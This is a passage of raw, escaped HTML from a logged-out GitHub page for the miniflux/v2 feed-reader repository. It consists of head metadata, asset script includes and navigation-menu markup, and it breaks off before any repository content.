content=\"https://collector.github.com/github/collect\" />\n\n  <meta name=\"analytics-location\" content=\"/&lt;user-name&gt;/&lt;repo-name&gt;\" data-turbo-transient=\"true\" />\n\n  \n\n\n\n\n  \n\n    <meta name=\"user-login\" content=\"\">\n\n  \n\n    <meta name=\"viewport\" content=\"width=device-width\">\n    \n      <meta name=\"description\" content=\"Minimalist and opinionated feed reader. Contribute to miniflux/v2 development by creating an account on GitHub.\">\n      <link rel=\"search\" type=\"application/opensearchdescription+xml\" href=\"/opensearch.xml\" title=\"GitHub\">\n    <link rel=\"fluid-icon\" href=\"https://github.com/fluidicon.png\" title=\"GitHub\">\n    <meta property=\"fb:app_id\" content=\"1401488693436528\">\n    <meta name=\"apple-itunes-app\" content=\"app-id=1477376905, app-argument=https://github.com/miniflux/v2\" />\n      <meta name=\"twitter:image:src\" content=\"https://opengraph.githubassets.com/e405ab931a4e7e1f1626ecbd7ebe366b63632f785c02c8655b722d76c2f59423/miniflux/v2\" /><meta name=\"twitter:site\" content=\"@github\" /><meta name=\"twitter:card\" content=\"summary_large_image\" /><meta name=\"twitter:title\" content=\"GitHub - miniflux/v2: Minimalist and opinionated feed reader\" /><meta name=\"twitter:description\" content=\"Minimalist and opinionated feed reader. Contribute to miniflux/v2 development by creating an account on GitHub.\" />\n      <meta property=\"og:image\" content=\"https://opengraph.githubassets.com/e405ab931a4e7e1f1626ecbd7ebe366b63632f785c02c8655b722d76c2f59423/miniflux/v2\" /><meta property=\"og:image:alt\" content=\"Minimalist and opinionated feed reader. Contribute to miniflux/v2 development by creating an account on GitHub.\" /><meta property=\"og:image:width\" content=\"1200\" /><meta property=\"og:image:height\" content=\"600\" /><meta property=\"og:site_name\" content=\"GitHub\" /><meta property=\"og:type\" content=\"object\" /><meta property=\"og:title\" content=\"GitHub - miniflux/v2: Minimalist and opinionated feed reader\" /><meta property=\"og:url\" content=\"https://github.com/miniflux/v2\" /><meta property=\"og:description\" content=\"Minimalist and opinionated feed reader. Contribute to miniflux/v2 development by creating an account on GitHub.\" />\n      \n\n\n\n        <meta name=\"hostname\" content=\"github.com\">\n\n\n\n        <meta name=\"expected-hostname\" content=\"github.com\">\n\n\n  <meta http-equiv=\"x-pjax-version\" content=\"9285cc279381a76d9bb932f1aab0424a016b8368716f54b61ca43d7bb9a57104\" data-turbo-track=\"reload\">\n  <meta http-equiv=\"x-pjax-csp-version\" content=\"5dcfbec3488c5fd5a334e287ce6a17058b7d4beb91db2d4d184e4d55bbf1d7d7\" data-turbo-track=\"reload\">\n  <meta http-equiv=\"x-pjax-css-version\" content=\"26683a7e17e565a19d1313e39600a5489d3cdd62f6cf83958ff5a4190b889d21\" data-turbo-track=\"reload\">\n  <meta http-equiv=\"x-pjax-js-version\" content=\"89d9c4b20166e6eaab9fd925c265a53493f94b89fa86dbcbaa11008183ff3659\" data-turbo-track=\"reload\">\n\n  <meta name=\"turbo-cache-control\" content=\"no-preview\" data-turbo-transient=\"\">\n\n      <meta data-hydrostats=\"publish\">\n\n  <meta name=\"go-import\" content=\"github.com/miniflux/v2 git https://github.com/miniflux/v2.git\">\n\n  <meta name=\"octolytics-dimension-user_id\" content=\"10584991\" /><meta name=\"octolytics-dimension-user_login\" content=\"miniflux\" /><meta name=\"octolytics-dimension-repository_id\" content=\"111364256\" /><meta name=\"octolytics-dimension-repository_nwo\" content=\"miniflux/v2\" /><meta name=\"octolytics-dimension-repository_public\" content=\"true\" /><meta name=\"octolytics-dimension-repository_is_fork\" content=\"false\" /><meta name=\"octolytics-dimension-repository_network_root_id\" content=\"111364256\" /><meta name=\"octolytics-dimension-repository_network_root_nwo\" content=\"miniflux/v2\" />\n\n\n\n    <link rel=\"canonical\" href=\"https://github.com/miniflux/v2\" data-turbo-transient>\n  <meta name=\"turbo-body-classes\" content=\"logged-out env-production page-responsive\">\n\n\n  <meta name=\"browser-stats-url\" content=\"https://api.github.com/_private/browser/stats\">\n\n  <meta name=\"browser-errors-url\" content=\"https://api.github.com/_private/browser/errors\">\n\n  <link rel=\"mask-icon\" href=\"https://github.githubassets.com/assets/pinned-octocat-093da3e6fa40.svg\" color=\"#000000\">\n  <link rel=\"alternate icon\" class=\"js-site-favicon\" type=\"image/png\" href=\"https://github.githubassets.com/favicons/favicon.png\">\n  <link rel=\"icon\" class=\"js-site-favicon\" type=\"image/svg+xml\" href=\"https://github.githubassets.com/favicons/favicon.svg\">\n\n<meta name=\"theme-color\" content=\"#1e2327\">\n<meta name=\"color-scheme\" content=\"light dark\" />\n\n\n  <link rel=\"manifest\" href=\"/manifest.json\" crossOrigin=\"use-credentials\">\n\n  </head>\n\n  <body class=\"logged-out env-production page-responsive\" style=\"word-wrap: break-word;\">\n    <div data-turbo-body class=\"logged-out env-production page-responsive\" style=\"word-wrap: break-word;\">\n      \n\n\n    <div class=\"position-relative js-header-wrapper \">\n      <a href=\"#start-of-content\" class=\"px-2 py-4 color-bg-accent-emphasis color-fg-on-emphasis show-on-focus js-skip-to-content\">Skip to content</a>\n      <span data-view-component=\"true\" class=\"progress-pjax-loader Progress position-fixed width-full\">\n    <span style=\"width: 0%;\" data-view-component=\"true\" class=\"Progress-item progress-pjax-loader-bar left-0 top-0 color-bg-accent-emphasis\"></span>\n</span>      \n      \n  \n\n\n\n\n\n\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_primer_react_lib-esm_Button_IconButton_js-node_modules_primer_react_lib--23bcad-a89698f38643.js\"></script>\n\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/keyboard-shortcuts-dialog-bcc338063768.js\"></script>\n\n<react-partial\n  partial-name=\"keyboard-shortcuts-dialog\"\n  data-ssr=\"false\"\n>\n  \n  <script type=\"application/json\" data-target=\"react-partial.embeddedData\">{\"props\":{}}</script>\n  <div data-target=\"react-partial.reactRoot\"></div>\n</react-partial>\n\n\n\n      \n\n        \n\n            \n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-94fd67-99519581d0f8.js\"></script>\n<script crossorigin=\"anonymous\" defer=\"defer\" type=\"application/javascript\" src=\"https://github.githubassets.com/assets/sessions-585a7232e50a.js\"></script>\n<header class=\"Header-old header-logged-out js-details-container Details position-relative f4 py-3\" role=\"banner\" data-color-mode=light data-light-theme=light data-dark-theme=dark>\n  <button type=\"button\" class=\"Header-backdrop d-lg-none border-0 position-fixed top-0 left-0 width-full height-full js-details-target\" aria-label=\"Toggle navigation\">\n    <span class=\"d-none\">Toggle navigation</span>\n  </button>\n\n  <div class=\" d-flex flex-column flex-lg-row flex-items-center p-responsive height-full position-relative z-1\">\n    <div class=\"d-flex flex-justify-between flex-items-center width-full width-lg-auto\">\n      <a class=\"mr-lg-3 color-fg-inherit flex-order-2\" href=\"https://github.com/\" aria-label=\"Homepage\" data-ga-click=\"(Logged out) Header, go to homepage, icon:logo-wordmark\">\n        <svg height=\"32\" aria-hidden=\"true\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"32\" data-view-component=\"true\" class=\"octicon octicon-mark-github\">\n    <path d=\"M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z\"></path>\n</svg>\n      </a>\n\n      <div class=\"flex-1\">\n        <a href=\"/login?return_to=https%3A%2F%2Fgithub.com%2Fminiflux%2Fv2\"\n          class=\"d-inline-block d-lg-none flex-order-1 f5 no-underline border color-border-default rounded-2 px-2 py-1 color-fg-inherit\"\n          data-hydro-click=\"{&quot;event_type&quot;:&quot;authentication.click&quot;,&quot;payload&quot;:{&quot;location_in_page&quot;:&quot;site header menu&quot;,&quot;repository_id&quot;:null,&quot;auth_type&quot;:&quot;SIGN_UP&quot;,&quot;originating_url&quot;:&quot;https://github.com/miniflux/v2&quot;,&quot;user_id&quot;:null}}\" data-hydro-click-hmac=\"a094da0e4bd50d64543e773c3d759f434e62451fb768d27928ee864059a5f353\"\n          data-ga-click=\"(Logged out) Header, clicked Sign in, text:sign-in\">\n          Sign in\n        </a>\n      </div>\n\n      <div class=\"flex-1 flex-order-2 text-right\">\n        <button aria-label=\"Toggle navigation\" aria-expanded=\"false\" type=\"button\" data-view-component=\"true\" class=\"js-details-target Button--link Button--medium Button d-lg-none color-fg-inherit p-1\">  <span class=\"Button-content\">\n    <span class=\"Button-label\"><div class=\"HeaderMenu-toggle-bar rounded my-1\"></div>\n            <div class=\"HeaderMenu-toggle-bar rounded my-1\"></div>\n            <div class=\"HeaderMenu-toggle-bar rounded my-1\"></div></span>\n  </span>\n</button>\n      </div>\n    </div>\n\n\n    <div class=\"HeaderMenu--logged-out p-responsive height-fit position-lg-relative d-lg-flex flex-column flex-auto pt-7 pb-4 top-0\">\n      <div class=\"header-menu-wrapper d-flex flex-column flex-self-end flex-lg-row flex-justify-between flex-auto p-3 p-lg-0 rounded rounded-lg-0 mt-3 mt-lg-0\">\n          <nav class=\"mt-0 px-3 px-lg-0 mb-3 mb-lg-0\" aria-label=\"Global\">\n            <ul class=\"d-lg-flex list-style-none\">\n                <li class=\"HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item\">\n      <button type=\"button\" class=\"HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target\" aria-expanded=\"false\">\n        Product\n        <svg opacity=\"0.5\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-chevron-down HeaderMenu-icon ml-1\">\n    <path d=\"M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z\"></path>\n</svg>\n      </button>\n      <div class=\"HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 d-lg-flex dropdown-menu-wide\">\n          <div class=\"px-lg-4 border-lg-right mb-4 mb-lg-0 pr-lg-7\">\n            <ul class=\"list-style-none f5\" >\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Actions&quot;,&quot;label&quot;:&quot;ref_cta:Actions;&quot;}\" href=\"/features/actions\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-workflow color-fg-subtle mr-3\">\n    <path d=\"M1 3a2 2 0 0 1 2-2h6.5a2 2 0 0 1 2 2v6.5a2 2 0 0 1-2 2H7v4.063C7 16.355 7.644 17 8.438 17H12.5v-2.5a2 2 0 0 1 2-2H21a2 2 0 0 1 2 2V21a2 2 0 0 1-2 2h-6.5a2 2 0 0 1-2-2v-2.5H8.437A2.939 2.939 0 0 1 5.5 15.562V11.5H3a2 2 0 0 1-2-2Zm2-.5a.5.5 0 0 0-.5.5v6.5a.5.5 0 0 0 .5.5h6.5a.5.5 0 0 0 .5-.5V3a.5.5 0 0 0-.5-.5ZM14.5 14a.5.5 0 0 0-.5.5V21a.5.5 0 0 0 .5.5H21a.5.5 0 0 0 .5-.5v-6.5a.5.5 0 0 0-.5-.5Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Actions</div>\n        Automate any workflow\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Packages&quot;,&quot;label&quot;:&quot;ref_cta:Packages;&quot;}\" href=\"/features/packages\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-package color-fg-subtle mr-3\">\n    <path d=\"M12.876.64V.639l8.25 4.763c.541.313.875.89.875 1.515v9.525a1.75 1.75 0 0 1-.875 1.516l-8.25 4.762a1.748 1.748 0 0 1-1.75 0l-8.25-4.763a1.75 1.75 0 0 1-.875-1.515V6.917c0-.625.334-1.202.875-1.515L11.126.64a1.748 1.748 0 0 1 1.75 0Zm-1 1.298L4.251 6.34l7.75 4.474 7.75-4.474-7.625-4.402a.248.248 0 0 0-.25 0Zm.875 19.123 7.625-4.402a.25.25 0 0 0 .125-.216V7.639l-7.75 4.474ZM3.501 7.64v8.803c0 .09.048.172.125.216l7.625 4.402v-8.947Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Packages</div>\n        Host and manage packages\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Security&quot;,&quot;label&quot;:&quot;ref_cta:Security;&quot;}\" href=\"/features/security\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-shield-check color-fg-subtle mr-3\">\n    <path d=\"M16.53 9.78a.75.75 0 0 0-1.06-1.06L11 13.19l-1.97-1.97a.75.75 0 0 0-1.06 1.06l2.5 2.5a.75.75 0 0 0 1.06 0l5-5Z\"></path><path d=\"m12.54.637 8.25 2.675A1.75 1.75 0 0 1 22 4.976V10c0 6.19-3.771 10.704-9.401 12.83a1.704 1.704 0 0 1-1.198 0C5.77 20.705 2 16.19 2 10V4.976c0-.758.489-1.43 1.21-1.664L11.46.637a1.748 1.748 0 0 1 1.08 0Zm-.617 1.426-8.25 2.676a.249.249 0 0 0-.173.237V10c0 5.46 3.28 9.483 8.43 11.426a.199.199 0 0 0 .14 0C17.22 19.483 20.5 15.461 20.5 10V4.976a.25.25 0 0 0-.173-.237l-8.25-2.676a.253.253 0 0 0-.154 0Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Security</div>\n        Find and fix vulnerabilities\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Codespaces&quot;,&quot;label&quot;:&quot;ref_cta:Codespaces;&quot;}\" href=\"/features/codespaces\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-codespaces color-fg-subtle mr-3\">\n    <path d=\"M3.5 3.75C3.5 2.784 4.284 2 5.25 2h13.5c.966 0 1.75.784 1.75 1.75v7.5A1.75 1.75 0 0 1 18.75 13H5.25a1.75 1.75 0 0 1-1.75-1.75Zm-2 12c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v4a1.75 1.75 0 0 1-1.75 1.75H3.25a1.75 1.75 0 0 1-1.75-1.75ZM5.25 3.5a.25.25 0 0 0-.25.25v7.5c0 .138.112.25.25.25h13.5a.25.25 0 0 0 .25-.25v-7.5a.25.25 0 0 0-.25-.25Zm-2 12a.25.25 0 0 0-.25.25v4c0 .138.112.25.25.25h17.5a.25.25 0 0 0 .25-.25v-4a.25.25 0 0 0-.25-.25Z\"></path><path d=\"M10 17.75a.75.75 0 0 1 .75-.75h6.5a.75.75 0 0 1 0 1.5h-6.5a.75.75 0 0 1-.75-.75Zm-4 0a.75.75 0 0 1 .75-.75h.5a.75.75 0 0 1 0 1.5h-.5a.75.75 0 0 1-.75-.75Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Codespaces</div>\n        Instant dev environments\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Copilot&quot;,&quot;label&quot;:&quot;ref_cta:Copilot;&quot;}\" href=\"/features/copilot\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-copilot color-fg-subtle mr-3\">\n    <path d=\"M23.922 16.992c-.861 1.495-5.859 5.023-11.922 5.023-6.063 0-11.061-3.528-11.922-5.023A.641.641 0 0 1 0 16.736v-2.869a.841.841 0 0 1 .053-.22c.372-.935 1.347-2.292 2.605-2.656.167-.429.414-1.055.644-1.517a10.195 10.195 0 0 1-.052-1.086c0-1.331.282-2.499 1.132-3.368.397-.406.89-.717 1.474-.952 1.399-1.136 3.392-2.093 6.122-2.093 2.731 0 4.767.957 6.166 2.093.584.235 1.077.546 1.474.952.85.869 1.132 2.037 1.132 3.368 0 .368-.014.733-.052 1.086.23.462.477 1.088.644 1.517 1.258.364 2.233 1.721 2.605 2.656a.832.832 0 0 1 .053.22v2.869a.641.641 0 0 1-.078.256ZM12.172 11h-.344a4.323 4.323 0 0 1-.355.508C10.703 12.455 9.555 13 7.965 13c-1.725 0-2.989-.359-3.782-1.259a2.005 2.005 0 0 1-.085-.104L4 11.741v6.585c1.435.779 4.514 2.179 8 2.179 3.486 0 6.565-1.4 8-2.179v-6.585l-.098-.104s-.033.045-.085.104c-.793.9-2.057 1.259-3.782 1.259-1.59 0-2.738-.545-3.508-1.492a4.323 4.323 0 0 1-.355-.508h-.016.016Zm.641-2.935c.136 1.057.403 1.913.878 2.497.442.544 1.134.938 2.344.938 1.573 0 2.292-.337 2.657-.751.384-.435.558-1.15.558-2.361 0-1.14-.243-1.847-.705-2.319-.477-.488-1.319-.862-2.824-1.025-1.487-.161-2.192.138-2.533.529-.269.307-.437.808-.438 1.578v.021c0 .265.021.562.063.893Zm-1.626 0c.042-.331.063-.628.063-.894v-.02c-.001-.77-.169-1.271-.438-1.578-.341-.391-1.046-.69-2.533-.529-1.505.163-2.347.537-2.824 1.025-.462.472-.705 1.179-.705 2.319 0 1.211.175 1.926.558 2.361.365.414 1.084.751 2.657.751 1.21 0 1.902-.394 2.344-.938.475-.584.742-1.44.878-2.497Z\"></path><path d=\"M14.5 14.25a1 1 0 0 1 1 1v2a1 1 0 0 1-2 0v-2a1 1 0 0 1 1-1Zm-5 0a1 1 0 0 1 1 1v2a1 1 0 0 1-2 0v-2a1 1 0 0 1 1-1Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Copilot</div>\n        Write better code with AI\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Code review&quot;,&quot;label&quot;:&quot;ref_cta:Code review;&quot;}\" href=\"/features/code-review\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-code-review color-fg-subtle mr-3\">\n    <path d=\"M10.3 6.74a.75.75 0 0 1-.04 1.06l-2.908 2.7 2.908 2.7a.75.75 0 1 1-1.02 1.1l-3.5-3.25a.75.75 0 0 1 0-1.1l3.5-3.25a.75.75 0 0 1 1.06.04Zm3.44 1.06a.75.75 0 1 1 1.02-1.1l3.5 3.25a.75.75 0 0 1 0 1.1l-3.5 3.25a.75.75 0 1 1-1.02-1.1l2.908-2.7-2.908-2.7Z\"></path><path d=\"M1.5 4.25c0-.966.784-1.75 1.75-1.75h17.5c.966 0 1.75.784 1.75 1.75v12.5a1.75 1.75 0 0 1-1.75 1.75h-9.69l-3.573 3.573A1.458 1.458 0 0 1 5 21.043V18.5H3.25a1.75 1.75 0 0 1-1.75-1.75ZM3.25 4a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h2.5a.75.75 0 0 1 .75.75v3.19l3.72-3.72a.749.749 0 0 1 .53-.22h10a.25.25 0 0 0 .25-.25V4.25a.25.25 0 0 0-.25-.25Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Code review</div>\n        Manage code changes\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center pb-lg-3\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Issues&quot;,&quot;label&quot;:&quot;ref_cta:Issues;&quot;}\" href=\"/features/issues\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-issue-opened color-fg-subtle mr-3\">\n    <path d=\"M12 1c6.075 0 11 4.925 11 11s-4.925 11-11 11S1 18.075 1 12 5.925 1 12 1ZM2.5 12a9.5 9.5 0 0 0 9.5 9.5 9.5 9.5 0 0 0 9.5-9.5A9.5 9.5 0 0 0 12 2.5 9.5 9.5 0 0 0 2.5 12Zm9.5 2a2 2 0 1 1-.001-3.999A2 2 0 0 1 12 14Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Issues</div>\n        Plan and track work\n      </div>\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary d-flex flex-items-center\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Discussions&quot;,&quot;label&quot;:&quot;ref_cta:Discussions;&quot;}\" href=\"/features/discussions\">\n      <svg aria-hidden=\"true\" height=\"24\" viewBox=\"0 0 24 24\" version=\"1.1\" width=\"24\" data-view-component=\"true\" class=\"octicon octicon-comment-discussion color-fg-subtle mr-3\">\n    <path d=\"M1.75 1h12.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 14.25 14H8.061l-2.574 2.573A1.458 1.458 0 0 1 3 15.543V14H1.75A1.75 1.75 0 0 1 0 12.25v-9.5C0 1.784.784 1 1.75 1ZM1.5 2.75v9.5c0 .138.112.25.25.25h2a.75.75 0 0 1 .75.75v2.19l2.72-2.72a.749.749 0 0 1 .53-.22h6.5a.25.25 0 0 0 .25-.25v-9.5a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25Z\"></path><path d=\"M22.5 8.75a.25.25 0 0 0-.25-.25h-3.5a.75.75 0 0 1 0-1.5h3.5c.966 0 1.75.784 1.75 1.75v9.5A1.75 1.75 0 0 1 22.25 20H21v1.543a1.457 1.457 0 0 1-2.487 1.03L15.939 20H10.75A1.75 1.75 0 0 1 9 18.25v-1.465a.75.75 0 0 1 1.5 0v1.465c0 .138.112.25.25.25h5.5a.75.75 0 0 1 .53.22l2.72 2.72v-2.19a.75.75 0 0 1 .75-.75h2a.25.25 0 0 0 .25-.25v-9.5Z\"></path>\n</svg>\n      <div>\n        <div class=\"color-fg-default h4\">Discussions</div>\n        Collaborate outside of code\n      </div>\n\n    \n</a></li>\n\n            </ul>\n          </div>\n          <div class=\"px-lg-4\">\n              <span class=\"d-block h4 color-fg-default my-1\" id=\"product-explore-heading\">Explore</span>\n            <ul class=\"list-style-none f5\" aria-labelledby=\"product-explore-heading\">\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to All features&quot;,&quot;label&quot;:&quot;ref_cta:All features;&quot;}\" href=\"/features\">\n      All features\n\n    \n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Documentation&quot;,&quot;label&quot;:&quot;ref_cta:Documentation;&quot;}\" href=\"https://docs.github.com\">\n      Documentation\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to GitHub Skills&quot;,&quot;label&quot;:&quot;ref_cta:GitHub Skills;&quot;}\" href=\"https://skills.github.com/\">\n      GitHub Skills\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n                <li>\n  <a class=\"HeaderMenu-dropdown-link lh-condensed d-block no-underline position-relative py-2 Link--secondary\" target=\"_blank\" data-analytics-event=\"{&quot;category&quot;:&quot;Header dropdown (logged out), Product&quot;,&quot;action&quot;:&quot;click to go to Blog&quot;,&quot;label&quot;:&quot;ref_cta:Blog;&quot;}\" href=\"https://github.blog\">\n      Blog\n\n    <svg aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle\">\n    <path d=\"M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z\"></path>\n</svg>\n</a></li>\n\n            </ul>\n          </div>\n      </div>\n</li>\n\n\n                <li class=\"HeaderMenu-item position-relative flex-wrap flex-justify-between flex-items-center d-block d-lg-flex flex-lg-nowrap flex-lg-items-center js-details-container js-header-menu-item\">\n      <button type=\"button\" class=\"HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target\" aria-expanded=\"false\">\n        Solutions\n        <svg opacity=\"0.5\" aria-hidden=\"true\" height=\"16\" viewBox=\"0 0 16 16\" version=\"1.1\" width=\"16\" data-view-component=\"true\" class=\"octicon octicon-chevron-down HeaderMenu-icon ml-1\">\n    